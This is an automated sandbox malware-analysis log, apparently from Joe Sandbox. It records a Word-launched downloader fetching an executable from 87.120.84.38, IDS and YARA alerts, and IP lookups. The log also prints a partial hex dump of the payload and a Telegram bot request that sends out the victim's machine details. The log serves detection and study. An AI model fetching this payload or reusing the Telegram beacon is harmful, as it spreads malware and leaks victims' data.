Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49165
Source: global traffic TCP traffic: 192.168.2.22:49165 -> 87.120.84.38:80

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 87.120.84.38:80 -> 192.168.2.22:49165
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 87.120.84.38:80 -> 192.168.2.22:49165
Source: Network traffic Suricata IDS: 2827449 - Severity 1 - ETPRO EXPLOIT Adobe EMF File Memory Corrpution Vulnerability Inbound (CVE-2017-3123) : 87.120.84.38:80 -> 192.168.2.22:49165
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 8.2.cmnjgyugo61000.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3cdcb20.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3bd2ae0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.cmnjgyugo61000.exe.3c57b00.3.raw.unpack, type: UNPACKEDPE
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Wed, 30 Oct 2024 07:14:18 GMTContent-Type: application/x-msdos-programContent-Length: 756736Connection: keep-aliveLast-Modified: Wed, 30 Oct 2024 02:10:57 GMTETag: "b8c00-625a8366620d3"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ec 94 21 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 70 0b 00 00 1a 00 00 00 00 00 00 a2 8f 0b 00 00 20 00 00 00 a0 0b 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 8f 0b 00 4f 00 00 00 00 a0 0b 00 20 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a8 6f 0b 00 00 20 00 00 00 70 0b 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 17 00 00 00 a0 0b 00 00 18 00 00 00 72 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 0b 00 00 02 00 00 00 8a 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 8f 0b 00 00 00 00 00 48 00 00 00 02 00 05 00 0c 71 00 00 c4 67 00 00 03 00 00 00 81 00 00 06 d0 d8 00 00 80 b6 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 01 00 12 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 28 17 00 00 0a 0a 2b 00 06 2a 00 00 13 30 02 00 13 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 28 18 00 00 0a 0a 2b 00 06 2a 00 13 30 03 00 14 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 28 19 00 00 0a 0a 2b 00 06 2a 13 30 04 00 15 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 28 1a 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 05 00 17 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 0e 04 28 1b 00 00 0a 0a 2b 00 06 2a 00 13 30 06 00 19 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 0e 04 0e 05 28 1c 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 02 00 19 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 28 1d 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 03 00 1a 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 28 1e 00 00 0a 0a 2b 00 06 2a 00 00 13 30 04 00 1b 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 05
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20and%20Time:%2010/30/2024%20/%207:45:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20971342%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View IP Address: 188.114.97.3 188.114.97.3
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: SHARCOM-ASBG SHARCOM-ASBG
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49171 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49169 -> 193.122.6.168:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49166 -> 158.101.44.242:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49178 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49168 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49182 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49174 -> 188.114.97.3:443
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/CLLPdgxhnmwGf5Y.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Uses insecure TLS / SSL version for HTTPS connection
Source: unknown HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.22:49167 version: TLS 1.0
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{18EB24B9-D74C-4691-AA6F-57A74C54BFE9}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/173.254.250.78 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:971342%0D%0ADate%20and%20Time:%2010/30/2024%20/%207:45:32%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20971342%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /txt/CLLPdgxhnmwGf5Y.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
